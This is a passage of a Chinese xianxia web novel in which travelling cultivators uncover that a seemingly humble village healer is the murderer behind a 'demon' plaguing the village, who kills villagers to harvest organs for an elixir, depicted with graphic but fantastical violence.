顾桃将目光从尸体伤痕上收回,抬眸疑惑:“被恶妖袭击的人很多吗?”
“嗯……十天半个月的要出一回事。”
君梦眨眨溜圆的眼,原来他身上不同的血腥味是这么来的么?如此可怖的尸首,他一个普通人不但不怕,还帮着缝补收敛,倒也是个好人呢。
村民听说他们是修行的旅人后,气色瞬间亮了,眼里满是期盼。
有人接了他们的话茬,也并没有遭到想象中的呵斥,于是大家都热络起来,竭力相邀。
“仙长们,快随俺们回村住上一住,这大冷的天非得喝上一口水酒才能暖和身子!”
“是啊!咱们村就在前面不远,俺这就回去安排招待各位贵客……”
那人将手中麻绳抛给身边人,一溜烟就跑了。
说话间,那缝尸体的男人也已经收拾妥当,他用白布将尸体裹好,招呼另外几个胆大的村民抬起担架往回走。
他转过身,恭恭敬敬地向四人作了个揖:“仙长们,天色也不早了,不如就上我们村歇歇脚吧?”
盛情之下,几人却之不恭,也有心替他们抓住那只残害无辜村民的恶妖。
回程路上,一直没怎么开口的离声向村民们打听恶妖袭人的情况。
她的温言细语如沐春风,村民们你一言我一语的恭敬奉承,没几句就将来龙去脉理清了。
这雪窝子里的野村,建在人族地界边缘,连个名字都没有。
兴许是风水不好,竟一个能修行的人都没出现过。
城内宗门每年都会派人各处寻找根骨奇佳的人,几十年里统共来过三波,均无功而返。
能修仙的人没有,但雪林中出没的山精小怪倒是四处乱蹿,时不时糟蹋庄稼、惊扰村民。
他们无计可施,终日恍恍,久而久之的,便对修行者奉若神明,只盼老天开眼,能派个小仙来护佑他们。
半年前,附近出现恶妖,开始残害村民。也是在这个时间,外出求仙问道一年多的路子真回来了,就是那位收敛尸体的男人。
他舍弃宗门优渥的待遇,带着短短时间学来的法术,回来守护着村子的安危。
虽然仍是不断有外出劳作的村民遇害,但如果没有路先生,恐怕恶妖早已摸进了村子将他们血洗。
“要说,咱们还是有些福气的,”猎户大叔笑道:“藏着路先生这么个大能,前来采选弟子的仙使都没能发现他!要不是他自告奋勇出山拜求,学得一身本事回来,这日子怕是更加难过。”
另一人赞同道:“没错!有路先生在,俺们村就能安然无恙。外出时就尽量结伴同行嘛,路先生也不能时时刻刻的跟随保护俺们,他已经很辛苦啦!”
路子真脸上挤出几分笑容,谦虚道:“哪里,是大家抬举了……我这点微末的小术法,实在只是皮毛,可别在真正的仙长们面前羞煞我了。”
35.诡异的“恶妖”
路子真脸上挤出几分笑容,谦虚道:“哪里,是大家抬举了……我这点微末的小术法,实在只是皮毛,可别在真正的仙长们面前羞煞我了。”
他低垂着头,声音温和而缓慢,双手拢在前面摩挲衣角,一副局促不安的模样。
顾桃将他的小动作看在眼里,心中那点警惕也尽数褪去,反倒生出几分体谅来。
君梦偷偷一笑,低声道:“瞧他那傻样,大概也就这些村民拿他当大能之人供奉了。说是有法术,可我感受不到他身上有一点灵力波动呢。”
“梦儿……”离声拽住她轻轻摇了摇头,严肃道:“正因为他太普通,所以在我们面前自然显得卑微了些,你莫要奚落他。”
陆以乐耳边听着她们的低语,怕前方路子真听见了尴尬,忙开口称赞:
“路先生不必自谦,术法微末亦能挺身而出守护一村人,实在是难得的善举,比那些有本事却冷血的修行者强多了!待我们处置了那恶妖,我愿引荐你前往仙剑城赤炎宗内继续修行,不知先生可愿意否?”
这一番真情实切的夸赞,加上人族第一大宗门的相邀,让路子真猛地僵住脚步。
他体内似有一股混乱的气流,自胸腔冲上头顶,直撞得他瞳孔震动,耳中鸣鸣。
恍惚间,竟以为自己产生幻觉听错了。
他僵硬着躯体转过身,呐呐问道:“什、什么?”
顾桃拍了拍他的肩膀,笑着为他解释:“路先生,这位正是赤炎宗少宗主陆以乐,有他的引荐,只要你同意了,我想不会有其他任何的阻碍。”
服下这枚实实在在的定心丸,路子真才将自己起飞的灵魂重新拉回身体,他激动的抱拳一拜,颤声高喊:“谢……多谢仙长!我愿意!!”
君梦大笑:“可别叫仙长了,听着怪难受的,我们也都是散修罢了。”
离声点头认同:“是啊,路先生不必在我们面前拘谨。”
路子真松了一口气,羞涩地挠了挠头,这才想起来还在赶路,又忙不迭失领着他们往前走。
一行人说说走走,不多时便到了村口。
早已等候在那的村民们立刻涌了上来,端茶递水嘘寒问暖好不热情。
路子真全程陪在一旁,替他们收起村民们献上来的供奉,脸上的温和笑意就没有断过,一举一动都透露着对四人的恭敬。
他们被推着入了席,饭食虽并不丰盛,但一看作为“供品”的萝卜白菜干笋……就知道这是村子里能拿出来的好物了。
路子真主动起身倒酒布菜,往他们四只碗里各堆出一个小尖,自己才开始小口小口地吃饭,倒不像是村民们那般粗鲁。
而住所,村民们也早就安排妥当,顾桃和陆以乐在村东头一户独居猎户家中;君梦和离声则在村中一对和善老夫妇家中。
一夜无话,只等天亮后,他们就要进雪林中搜寻那只害人恶妖。
尽早解决了此地的困难,他们也好尽快前往那处阴诡的青雾之下。
天刚蒙蒙亮,路子真便一身轻装守候在村头。
君梦打着哈欠,问他:“你平日里就这般随意么?要是遇到了恶妖怎么办?”
她记着离声的叮嘱,说话不可太过直白打击别人,所以后面那句“你是想用自己百多斤的身子骨撑死它,好叫它再害不了人么?”又被她咽回了肚里。
路子真连忙从怀里摸出一张金黄符纸呈上,解释道:“这是我回乡时,星泉观中师兄赠与我的灵符,可护自身不受邪物侵扰。”
几人当下便懂了,为何他身上并没有灵气波动,却能安然行除恶之事。
只是君梦瞥见这符纸,瞬间睡意全无,身体止不住打了个颤。
那血狼王被道长灵符灼烧的惨状仍记忆尤新。
她沉默着退了半步,伸出手扯住顾桃的袖口。
顾桃瞧她神情和打量符纸的眼神,就知道她害怕了。轻笑着从她手中抽回衣袖,以温暖的大掌包裹住她柔荑。心想这小调皮怕不是被那说书的吓破了胆?总觉得道人就是狐妖的天敌。
陆以乐落在符纸上的目光发亮,这可是货真价实的好宝物,应是出自星泉观某位高阶术师之手。
他师兄肯以此物相赠,看来他的人品和人缘确实没得说。
他忍不住多看了几眼,直到路子真将符纸揣回怀兜,踌躇着想问他们何时出发,又不知该如何开口。
陆以乐主动问道:“恶妖残害人性命后,可有遗留什么线索?”
“有的,”路子真再次从怀兜摸出一物,是一块暗红色的烂布条。
“这是在第一个死者胸腔内发现的,当时这布条就卡在他的肋骨之间,看起来像是恶妖撕开他肚子时,把他的衣衫也缠进去了。”
陆以乐皱了皱眉……还真是道门出来的人,随心所欲百无禁忌,什么都往怀里揣。
顾桃接过布条,举至鼻端细闻。
除了浓郁的人血味,和路子真替他缝补时沾上的气味,妖气实在是太淡了!大概就是一根线须子碰了一下那妖的感觉。
可是这不对,恶妖利爪开膛破肚,怎么可能就这么一丁点接触?
君梦看他面露疑惑也不语言,拉了拉他。
顾桃立刻将布条凑近她的鼻尖。
君梦深吸一口,被人血气味呛了一下,接着就是那股若隐若无的妖气,比昨天闻见时还要淡。
她摇了摇头:“分辩不出,反正是我没接触过的妖种。”她觉得有一团迷雾样的东西裹在脑子里,却看不清想不明。
众人一听,各自展开思考:什么妖种,是在人族地界有的,而妖族地界却没有?
一时也没什么头绪,顾桃示意路子真带路,前往几个案发地看看情况。
随着他们逐步查检下来,仍是什么收获都没有。稍微有点动静就被蹿出去的君梦逮住,不是松鼠就是刺猬这等山精小怪,大寒的天里钻出来,只为偷一口耐寒的蔬果裹腹。被君梦一吓唬,逃跑时还不忘抱走萝卜。
害人的恶妖竟像是会隐身般,藏住了自己的身影以及气息,很是棘手。
脚下积雪被踩得咯吱作响,五人一愁莫展,谁也没有兴致打趣闲聊。
昨天还言之凿凿替他们抓住恶妖,今日却连一丝线索都找寻不到!
这脸打得,啪啪响!
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有何颜面回村?干脆打晕路子真,就此离去算了……
君梦不甘心地蹲下身子,抓起一把未被踩踏过的积雪,想再闻闻看周遭气味,或许有什么新发现也不一定。
她呼出的热气融化了一部分雪花,手掌雪团子中间一汪清澈,竟让她有些渴了。
“啊呜”一口连雪带水吞下肚……
哎哟~舒服了,憋屈的火气瞬间就被冰凉压了下去。
“噗嗤!”离声掩着嘴笑出声,贴心地将自己的水壶递了过去。
顾桃眼里满是笑意,说道:“这般漫无目的的搜寻也不是办法,若那妖物就在附近,反而容易惊扰到它。”
他目光扫过雪林,又看向其余四人,“不如先回村吧,我和以乐轮流巡村,有村民外出也远远跟上,保证他们的安全。”
又问路子真:“另外,它十天半月狩猎一次的规律准是不准?”
路子真想了想,“差不多,几乎都是这些时间。”
顾桃不再言语,看向陆以乐。
陆以乐点点头,表示赞成他的提议。
他对陆以乐的好感就属这点最强烈,这小子完全没有一点世家贵少爷的架子,即勤勉,又随和。
眼下也没有更好的办法了,他们只能打道回村,耐心等待这稀奇诡异的恶妖来临。
这一等,便是十来天。
村子,雪林,完全没有半点恶妖的踪迹。
有这几人的保护,村里人胆子也越发大了起来。
有的甚至步行很远去开垦新的土地,惹得陆以乐连连抱怨,干脆挑起长枪,将村民选好的地面多翻了好几倍的面积。
种吧,种啥都行!慢慢种!
这天吃晚饭时他因为憋着气,加上主食就是胀气的东西,饭后竟有些消化不良,害他躺到半夜时分还在打嗝。
顾桃忍不住戏谑道:“你这半夜不睡觉,在那捏□□玩呢?”
陆以乐翻了个身,他实在是按捺不住了,边打嗝边说:“这恶物难不成…嗝…是怕了我们?躲起来就不敢出…嗝…来了?我们总不能一直这样耗…嗝…下去吧?!”
顾桃在黑暗中硬生生憋着笑,可难受死了,听他止住一句完整的话就赶紧弄点声音出来打断他。
正要开口,门外传来一阵急促的脚步声。
路子真声音里带着惊慌,又怕引起村民们的恐慌,他语速极快,隔着木门低喊:“仙长!那恶妖出现了,就在西南方雪林子的边缘!”
陆以乐听得清楚,霎时精神大振,打嗝也配合的停止了。
他当即提起长枪,一股脑儿就冲了出去。
顾桃担心上头的陆以乐安危,毕竟那恶妖太不同寻常了。来不及细想太多,大步一迈跟着追了上去。
与路子真擦肩而过时,他沉声吩咐道:“你就待在村里护好他们,那么远的地方,我怕是声东击西!”
路子真刚应下,就发现敞开的木门边上,立着被惊醒、瑟瑟发抖的猎手。
“别害怕,我还在呢,安心的睡觉吧。”
说完,他微笑着替猎户关上房门,转身往村中那户老夫妻的家走去。
36.真面目
路子真安抚住猎户,微笑着替他关上房门,转身往村中那户老夫妻的家走去。
君梦和离声此时正睡得香甜。
路子真重新换上那副惊恐的表情,轻微又急促地敲了敲老夫妻的屋门。声音不大,不会惊动其他村民,又正好能惊醒那只狐妖。
门一开,正是睡眼迷蒙的君梦。
不等她询问,路子真着急忙慌地说:“雪林子出现了恶妖踪迹,两位仙长已经追过去了。”
君梦眼睛一亮,身后适时传来离声的声音:“梦儿……怎么了?”随着话音,她也披衣走来。
路子真只穿了一件单薄外袍,冻得牙关打颤。
君梦侧身将他让了进来,问道:“在哪个方向?”
路子真顺势进了屋,“仙长说了,那恶妖奸猾,怕是有诈,就让两位留下照看村里,防止它来偷袭。”
屋内暖流游过来包裹住他,那股熟悉的若有似无的妖气再次钻进君梦鼻腔,这一回,浓烈了许多。
君梦皱起眉头,随口吐槽:“你就不能把那块臭布扔了吗?总放在身上做甚?……也是奇了,这妖物的气息时弱时强的,这是什么道理?等抓住它我非好好研究研究!”
路子真尴尬的扯了扯嘴角,缩在一边取暖,并未吱声。
君梦斜了他一眼,心中仍有些不放心,对离声说道:“阿声你留下,我去村口守着。”
离声紧走两步,拉住她,“一起去吧,你一个人我不放心。”
两人绕过路子真,刚走到门边,突然被什么东西贴在后背,整个身子一麻。
路子真缓了缓,确认定神符对她们俩也有效果,遂放下心来。这还是第一次对人类以外的种族使用此符,果真是好物件。
离声修为低微,被符纸上的定神咒一冲击,没能坚持多久,眼前一黑直接晕了过去。
“呃……?路先生,您这是?”
被说话声吵醒的老两口站在侧卧门前,瞧见这一幕皆懵了神。
路子真抬起眼皮,犀利的目光望过去,笑道:“别害怕,我在呢。”
紧接着,抬手重重劈在他们的颈脉上,老两口连哼都没哼一声,双双瘫倒在地。
君梦手脚沉得厉害,喉咙像是被堵住,想动动不了,想喊喊不出,只能转动眼珠子,看着路子真关上大门后就去摆弄不知死活的老夫妻。
他背过身蹲下时,衣袍后腰处冒出一个鼓包,分明是藏着什么尖锐物件。
君梦瞳仁一颤,她突然想起先前闻那块臭布时产生的疑虑,只是当时那念头一闪而过,没能抓住细想。
这家伙身上的妖气,并不单单在破布,那只是掩人耳目的工具,用来混淆别人的嗅觉,其实是他不确定自己身上沾染的气味到底有多少!
而妖气真正的源头也正是他此刻藏在后腰的东西,这就能说通为什么那股妖气时有时无了,因为这件东西,他不是随身携带的!
所以,他和恶妖,其实是一伙的?!
不详的预感后知后觉爬上她的心头。
路子真可没功夫猜她在想什么,他要抓紧时间,提炼出他需要的东西。
他将两夫妻摆出受袭的姿势,又从后腰摸出一支干枯的锋利兽爪,爪子上甚至还染着暗红色。
他高高举起那支枯爪,没有半点犹豫,恶狠狠地朝老丈胸腔剜下去。
君梦大惊失色,眼睁睁看着这血腥场景,耳中传来利爪划破脂肪和肌肉的声音。
路子真的动作就像他缝合尸体那般娴熟,整个人透露出之前一直隐藏起来的粗暴和残忍。
他甚至毫不在意喷溅到身上、脸上的血点,这样的事情他可能自己都不记得做过多少次了。
老丈身子剧烈抖动,肚子上破开一道故意被撕烂不规则的裂口。
路子真用爪子探进他热乎乎的腔子里,勾住还在跳动的心脏和肝脏,硬生生将其扯了出来,随手塞进提前备好的黑布袋里。
接着,他又以相同的手法残害了老妇人……
浓重的血腥和被人血激发后、从兽爪上散发的妖气,刹时笼罩了整个屋子。
原来,是他!
君梦那口愤怒的恶气憋在胸口,上不来也下不去。暗红色的妖瞳紧绷到竖成一线,心底那抹还未爬到面上的恐惧感,让她尾巴尖上的毛缓缓炸开。
路子真扯起衣领擦了擦脸,站起身转过头,冲君梦笑了笑。
“别害怕……我不会这么对你的,你跟他们不一样。”
说完他就走向离声。
君梦在心里不停尖叫大喊:你要对她做什么?!!不许靠近她!!!
路子真弯腰抱起小脸恰白的离声,把她轻轻放在床上,又取出一物塞进她腰带里。
他低头看着离声的小脸,眼底闪过一丝痴迷,忍不住伸出手摸了摸她的脸颊,留下浓浓的血指印。
指尖传来的细腻滑嫩,差点就让他失了神。
他顿了顿,又轻轻将她落在脸庞的碎发拢到耳后,语气轻软:“可惜了……但没关系,这样的散修都能如此貌美,那仙门中的女修们该是何等惊艳?!”
说完,他恋恋不舍地收回手,转身走向动弹不得的君梦。
不再理会她眼里快要喷出来的怒火,将她打横抱起,出屋锁门,快步往村子尽头的暗处走。
隐蔽的地窖又深又暗,仅仅点了一只小油灯。
但飘浮的少许灵力撞上五花八门的物品时,又会闪烁出细碎光亮。
伴随着不明显的“咕噜”声,空气中充斥着一股难以形容的气味。
就像是胡爹锅里煮着肉出了门,等他回来时锅底都熬干了,又被他加水加肉重新熬煮……反反复复很多次、更多次,交织在一起产生的又腥、又香、又糊的怪味。
路子真把君梦捆在一张窄小的石床上,居高临下地看着她。
却见她双眼瞪得圆滚滚,眼神恨不得撕了他,显然还无比清醒。
他冷笑一声,将手放在君梦的丹田处,感受她的轻颤,柔声哄道:“放心吧,我不会把你的身体搅得那么难看……”
说着,另一只手从怀里掏出那张珍贵的金色灵符。
放在她小腹的手往上移,捏住她的下巴,不知是联想到了什么而怪笑。
“呵呵…你的心肝,效果应该要比普通人来得更好吧?还有你的内丹,才是最重要的一味……”
他不敢有一丁点侥幸,手上用力,逼着她昂起头,将那张令人惧怕不已的灵符准确贴在她眉间的正中心。
这张金符灵力强悍之极,顺着君梦的灵台钻进她的神识,与挡在那里的封印纠缠在一起。
两股力量的强烈碰撞让她瞬间瞳孔扩散,浑身微微抽搐,脑子里就像沸腾的热水在翻滚,直烫得她神智不清,内心的恐惧也终于在这一刻被放大到了极点。
……
顾桃和陆以乐沿着雪林边、山脊线,四处巡了老半天,除了脚下吱嘎踩雪声外,沉寂得哪有半分动静,更别提恶妖出没。
陆以乐渐渐急眼,闷闷道:“这鸟不拉屎的地方,连个活物都没有,那恶妖来此处作甚?!”
顾桃一怔,莫名感到心慌意乱。
他的这句话似乎牵出了一团乱麻中的线头……
是啊,连村民们开垦新地都不愿意来的地方,饥饿的恶妖不靠近村子捕猎,来这里图什么?
如此偏远之地,又是大半夜的,路子真又是怎么得知恶妖在此出现?!
顾桃脑子突然嗡得一声,浑身寒毛竖起。
“快回去!她们可能有危险!”
陆以乐不明所以,但听到姑娘们有危险,仍是拼尽全力跟上飞奔的顾桃。
顾桃强迫自己静下心神,一边狂奔一边回想这“恶妖”的奇怪之处。<
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他从来都知道山娇村的叔伯姨婶们非同寻常。
五伯有次醉酒后,拉着他说了好多糊话,其中大概就有提到,他们早些年是在大陆各处闯荡,见过不少世面的。
那么他们在对两个小辈倾囊相援的教导里,为何从未提起过有这等诡异至极的邪妖?
如果说恶妖是假的呢?这一切都是路子真编造的谎言呢?!
那他们找寻不到任何线索的原因就都合理了。
顾桃提升了奔跑速度,心跳也随之加速。
他沿着那一点怀疑,继续将路子真和善的表象往下撕,开始仔细分析他的一系列举动,以及他本身存在、但被他刻意隐藏起来的疑点。
路子真浑身不同人的血腥味,或许可以用缝补了尸体来解释。
但他随身携带、被血浸透的烂布条上的微弱妖气,真是以线索为由才留在身上?他大可以放在家里,毕竟贴身放置沾了妖气的东西,对人体来说是只有害而无益的!
也许他就是为了掩盖自身沾染了那股妖气的事实呢?!
那么他缝补尸体的举动,未必就不是为了掩盖自己杀人时才沾上的不同血腥味!
可他大费周章耍这一出,总该有理由。他一个普通人,目的到底是什么?!
顾桃忽然想起村民们闲聊时说过的话。
“城内的宗门每年都会派人四处寻找根骨奇佳的人,几十年里统共来过三波,均无功而返。”
“咱们村还是有福气的,藏着路先生这么个大能,连前来采选弟子的仙使都没能发现他……”
所以是因为想要修仙么?
每一波采选使者来村里,路子真都没有被选中,在村民们看来,是那些仙使眼瞎没能发现他。
其实根本就是他没有根骨,他修不了仙!
他不知道路子真后来是怎么混进道门、并得到那张符纸的。但他隐约也听说过,一旦村子里有人被宗门选中,采选使者几乎都会为此村落下一道有年限的结界,以谢村子对此人的养育之恩,根本就用不着他中途放弃修行,自己回来守护村中安危!
而他看向修行者崇拜的炙热眼神,以及言谈中对于修仙的热烈向往,藏都藏不住!
这么大的漏洞,他们竟然从来没有怀疑过他!
……他那么想求道是为了长生吗?
不,这不是普通人最初接触修道时的追求。
他不惜残害同村也要伪装自己是修道人的身份,所追求的……
是他人对他的膜拜!
是跳出自己的低层圈子后,能回首俯看“低等人”的底气!
是被自己原先圈子里的人,将他当成神明般来供奉和尊重的感觉!
他的伪装和善后都太过完美,几乎能骗过无意间来到这座小村的任何人!
顾桃捏紧了拳头,在一望无迹的雪林里疯蹿。
是他太大意了,他被初见路子真时的“善举”和憨厚的表象蒙蔽了!
那么除开这些,他将他们骗出来又是想做什么?他还能做什么?
……那张符纸,金光流动,对付一只百年小狐妖应该也不成问题……吧?
这该死的疯子!莫非是想让梦儿替他背上这口锅么?!成为他安排的“恶妖”,再由他出面将她处置,好心安理得的接受村民们对他更加狂热的推崇?
还是想把他的梦儿当成稳固自己“赤炎宗弟子身份”的投名状?
……他怎么敢?
他怎么敢!!!
顾桃眼底翻涌着滔天戾气,瞳孔绿光闪动,突然,他从喉咙里挤出一声发了狂似的嘶哑虎啸。
这确实是一招声东击西,但设下圈套的不是“恶妖”,正是他路子真!
身后喘着粗气的陆以乐听见这声嘶吼,先是一愣,随即反应过来,咬紧了牙关,更加拼命追赶前方离他越来越远的身影。
37.力量悬殊
君梦整个人像被剥了皮架在炭火上烤的野味;又像坠入深渊,千根冰针扎穿了她身体的每一寸。
那张灵符的金色力量找尽一切机会想要击碎她的神识,但始终有一片红色的气团紧紧包裹它,一来一回的冲撞在她灵台内搅得天翻地覆。
君梦疼得脑仁里一片空白,身体甚至开始剧烈痉挛,勒紧的铁链哗哗作响;十根手指不受控制地弯曲成利爪,细碎的兽鸣从她喉咙里溢出,就像正在张牙舞爪的妖化。
深入骨髓的恐惧为她带来濒死的失重感,她悬吊在空中无着无落,两颗泪珠不由自主地从她大张着、但失去了颜色的眼中淌出。
绝望的恍惚中,她也不知道还在期盼什么。
腰间绿玉忽然动了一下。
路子真正在旁边刷洗一口脏兮兮的大石锅,倒在角落的污水里还浸着一颗煮透的肉团。那只黑布袋子落在一旁,里面装着老两口的新鲜物,但他现在顾不上它们。
这口锅品尝过很多人的心肝,但无论火候怎样控制,成品最终都没能形成他想象中的模样,无一例外不是焦臭糊黑。
一定是原料不对!他这么想着,但是没关系,现在有了这只带有内丹的狐妖,他一定就可以成功了!
等他服下最终的成果,才能长出一根仙骨来。
他努力刷着石锅上的残留物,务必要将这些普通人的杂质清理干净,绝不能污染了他好不容易得来的珍贵原材!
突然,眼角似乎有一抹绿色晃过。
他停下动作,警惕地看过去。
石床上的女妖仍被铁链捆得结结实实,破碎的嗓音也愈发虚弱,并没有什么异样,大概是抖动的身体带动了她腰间的绿色鞭子吧。
任你挣扎,大势已定。
他重新低下头。差不多了,再冲洗一遍就可以替她开膛破肚,剜出最新鲜的心肝和妖丹,加上他收集来的晨露水,在那两个碍事家伙回来之前,熬出他的仙药。
虽然时间很紧,但一切都会按他的计划进行!
等他们回来,看到的只会是诡异的恶妖闯进村子,害了老夫妻,并控制了这具空腔的狐身,又杀害了她自己的同伴。而他也是因为不得已,才使用灵符将她制服……
只等他长出仙骨,前往赤炎宗,以他的才智,登上高位就是早晚的事。
路子真一边想着,一边低低地笑起来。
只是他不知道,此刻在君梦的灵台内,纠缠着金色的红色气团正在不停叫嚣,呼唤着另一股熟悉的气息,是她腰间绿玉上附着的原始妖力。
绿玉本体渐渐自主苏醒,它感受到小主人临近崩溃的情绪,以及一声声熟悉的叫骂,似乎在责怪它怎么睡得这么沉?!
它散发出一缕极淡极淡的浅绿,混合进周围的空气中,以便更好的感知周围动向,不料却被空中飘浮的灵气撞得一缩。
停顿片刻,它再次试着在阴影里生长出一支不起眼的细小嫩茎,探索着小主人的身形缓缓攀爬,自她后颈下穿过,从暗处摸上她沾满泪水的脸颊。
那咸涩的水渍被它吸进体内,藤端立刻又分出几根更细的藤茎,各往四周探了探。这次它发现目标了,就在小主人的眉间,压制着一股强大的灵力,正侵扰着她的魂灵。
绿玉能感受到那张灵符有多危险,但它仍是毫不犹豫,弓起那只“小绿手”猛地往前一弹,紧紧裹住灵符往反方向拉扯。
嫩茎被符上灵力灼烧得滋滋作响,等路子真发现不对劲时,灵符已经被它拽了下来,就落在石床边上。绿玉颤着蜷成一圈,独自舔舐受伤的本体。
随着灵符离开君梦眉心,前一刻还翻白的暗红眼瞳重新显现,绝望中的求生欲让她积攒的妖力在下一秒就爆发,属于妖类的蛮横彻底被激起。
“呯呯”两声脆响,捆住她的铁链当即断成几截,吓得路子真跌坐在地,两眼发直,都不敢过去捡那张符纸,只留下“哐当哐当”石锅滚弹的动静。
君梦眼中的愤恨呼之欲出,虽然那张定神符仍稳稳贴在后背,但她还是强行夺回对身子的掌控权,僵硬又虚弱地翻身而起。
她憋回眼眶中残留的泪水,化作唾沫朝他脸上啐了一口,颤着音一字一句骂道:“你…是个…什么东西!竟敢、算计老娘!”
她想扑过去掐死他,但身体实在是难以控制,伸出去的手臂直愣愣呼过路子真的头顶,右腿还撞到石锅差点摔倒。
而绿玉此时已经没有气力再帮她摘下后背的符纸了,连盘回她腰间都很勉强。
路子真见状,快速压下内心的惧怕,躲过她笨拙的攻击,手脚并用往旁边爬。
他后背冷汗淋漓,依旧不肯放弃。他深信,只要这狐妖行动不便,就还在他的掌握之中!
既然事情变得麻烦了,那就把计划打乱再重组,先让她去杀自己的同伴和无辜村民,他再来收尾,也是一样的结果!
君梦再次扑过来。
路子真大力拔出手中小瓶的塞子,猛地将里面透明液体泼向她。
君梦动作一僵,顿感浑身燥热,心脏像要从腔子里跳出来似的,一股强烈的杀意再次试图蚕食她的神智。
路子真趁机贴着地面往过道冲,顺手抓起石床上的符纸就往台阶上爬。
他没有法力,不能凭空驱动符纸,现在他可不敢再接近这暴走的妖物。只能先离开地窖,发动村里人,合众人之力将她制服后才方便他出手,哪怕是多死些人也没有关系!
君梦平时那股倔犟劲在此时倒是发挥了好的效果,她偏要与那股力量抗衡,努力维持着自己的清醒,迈着沉重艰难的步子往上追。
她要撕烂他的脸!拆了他的骨头!割了他的狗胆!活剐他的狗皮!!
路子真连滚带爬钻出地面,大喊声在村里回荡。
“恶妖进村了!大家快起来!!”
“恶妖来了!大家快带上家伙出来!!快起来啊!!”
被惊醒的村民们连忙安排老弱妇孺藏好,拾起自家的锄头镰刀、一切能用的工具披衣出了门。
他们不知道发生了什么,路先生口中的“恶妖”为什么是那个明媚的小
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狐女?可她如今这副龇牙咧嘴凶相毕露的模样,分明就和吃人的恶妖没什么区别了。
村民们想起残死的亲人,心底那点疑惑便被又怕又恨的情绪取代,纷纷抄起手中家伙什,蜂拥着朝君梦围过去。
深夜里充斥着吆喝声、怒骂声,以及奔跑和器物相撞的声音。
就在这时,一道黑影疾行而至。
顾桃终于是赶回来了,他眼里倒映出那娇小踉跄的身影,此时浑身污血,披头散发,连站都站不稳,却坚持着要与面前的人拼一拼。
村民们手中高举的武器让他目眦欲裂,远远挥出一掌,妖力裹着夜风将那群人掀翻在地。
不等众人反应过来,他已盯上躲在人群后的路子真,直直随着掌风就冲了过去。
路子真被吓得魂不附体,都来不及思考他为什么连问也不问就恶狠狠朝着他来。慌乱中连忙祭出一直捏在手中的金色灵符,想要抵挡来人的暴怒。
顾桃眼中杀意浓烈,瞪着路子真的眸子墨绿色深邃如潭,在黑夜中亮得吓人,他想也不想伸手就抓了过去。
那张原本应该在感应到攻击就立刻布下灵盾并反击的金符,却在接触到他力量的一瞬间,符上灵力竟然自动往后消退,并没有沾上他半分。
符面上的金光黯淡下去,失了灵力的符纸彻底变为一张废纸,被顾桃一把捏得粉碎。
然而这异样的情况并没有吸引两人的注意力。
路子真彻底失去依仗,又腿一软瘫坐在雪地上,只想着:完了,一切都完了……
顾桃没有立刻捏死他,这般轻易的死法太便宜他了!他要让路子真亲自体验一遍梦儿的痛苦和恐惧!他要加陪的还给他!
他缓缓俯身,居高临下地蔑视着几乎要失禁的路子真。他突然表情变得无比狰狞,爆发出一声震耳欲聋的虎啸,声波如刃扎进路子真的骨髓。
路子真被震得七窍流血,面部扭曲,双眼瞪得眼珠子都快要滚出来。随即呼吸一滞,颤抖的手还想捂住心口,下一秒,双腿一伸直挺挺往后栽倒,竟活活吓死了。
顾桃又气又怒,实在可恶!明明是这么胆小的一个人,居然在背地里做了那么多恶事,连真相都还没让他亲口在村民们面前说出来,就这么死真的是太便宜他了!!!
可他再不甘心再不解气,也毫无办法。
他站直了身子,拼命压下那口闷气,转身往回走。
村民们同样被那声虎啸震得跌倒在地,并没有谁敢在这时候再找麻烦。可他寻了一圈,却唯独不见君梦的身影。
“梦儿……?”
顾桃慌了神,他阻挡了村民们的攻击,就只顾着收拾路子真了,原本想着先替她出口恶气,谁料就这么一会儿的功夫,又在他眼皮子底下出了岔子。
他四处巡视,嗅到沉重血腥味里夹杂着她的气味,抬腿便跟了过去。
在那对老夫妻的家里,进门就是两具胸腔被破开的残尸。
不及细想,他转头一看,君梦就背对着他,正迈着机械的步子要进入里屋。
38.蛊水
他转头一看,君梦就背对着他,正迈着机械的步子要进入里屋。
“梦……”
顾桃刚开口,就瞧见她因为步子不稳左右晃动的乌丝间,藏着一张黄色符纸,紧贴在她后背。
看来就是这东西在控制她!他两眼一眯,无名火起,大步一跨拉住她,撩开她的头发就要撕掉这张符。
虽然他不太认同道门就是狐妖的克星,但不得不承认,道门的法宝,对他们妖族来说确实是小瞧不得。
这张定神符咒远不如路子真手中的金符灵力霸道,却还是在他迅速出手的情况下,与他妖力碰撞,燎得他满手水泡。
刚大力撕碎符纸,君梦顿时浑身一软。早已力竭的她突然没了那股沉重感,整个人就轻得像悬浮在空中,再迈不开步子。
顾桃矮身一接,怜惜的将她搂进怀里,让她坐在自己腿上靠在胸膛。直到真真切切的把她抱在怀里,才感觉自己的心从嗓子眼儿落回它该待的地方。
可她的神色仍然很奇怪,眸子里是他从未见过的贪婪,甚至都没有转过来看他一眼,固执地伸出爪子想要抓什么东西。
顾桃顺着她手的方向看去,是离声,躺在床上呼吸微弱,脸上还有几条血指印。
“梦儿,你这是……怎么了?”
君梦从刚才危险消失后就眼前一黑,只能看见一条透明的丝线牵着她往前走,那丝线的尽头有什么令人渴望的东西。
她此时耳朵里听不真切,只知道有人在她身边说话,可她并不想理会,只想按照那条隐线的牵引,撕碎近在眼前的目标,要大口大口地将目标吞入肚中,这样才能缓解她的饥饿和焦躁。
“这是怎么回事?!!”
陆以乐气喘吁吁的声音在门口响起,他看着老两口的残尸直皱眉头。
他脸色一白:“恶妖闯进村子里了??”
刚进村就瞧见满地受伤哀嚎的村民们,路子真鼓着眼,满脸是血,躺在雪地上都已经被冻硬了。
君梦和离声都没能挡下恶妖吗?那她们俩怎么样了?!
他担忧地喊了一声:“桃哥?”
见顾桃不理他,只好自己靠过去。
君梦就缩蜷在他怀里,狼狈不堪。双眼腥红如血,一副饿到极致的模样死死盯着床上的离声,可她又挣不脱顾桃的禁锢。
顾桃低头扣住她的手腕,指尖萦绕着一丝妖力,似乎在查看什么。
“小梦?……阿、阿声?!”
陆以乐冲过去扶起离声,被她脸上的血印吓了一跳,急道:“到底怎么回事!有没有人告诉我啊?!”
顾桃紧拧着眉头,低沉道:“你看看阿声后背有没有什么可疑物。”
陆以乐赶紧检查,果真贴着一张符纸。
他伸手一揭,离声缓过气来,轻轻咳了两声,陆以乐拍着替她顺背。
离声睁开双眼,表情茫然,一时回不过神来。
她莫名昏睡,完全不知道发生了什么事,好一会儿才看清眼前场景:桃哥就蹲坐在门边,梦儿被他箍在怀里像要魔化似的,死盯着她的眼神让她忍不住打了个寒颤。
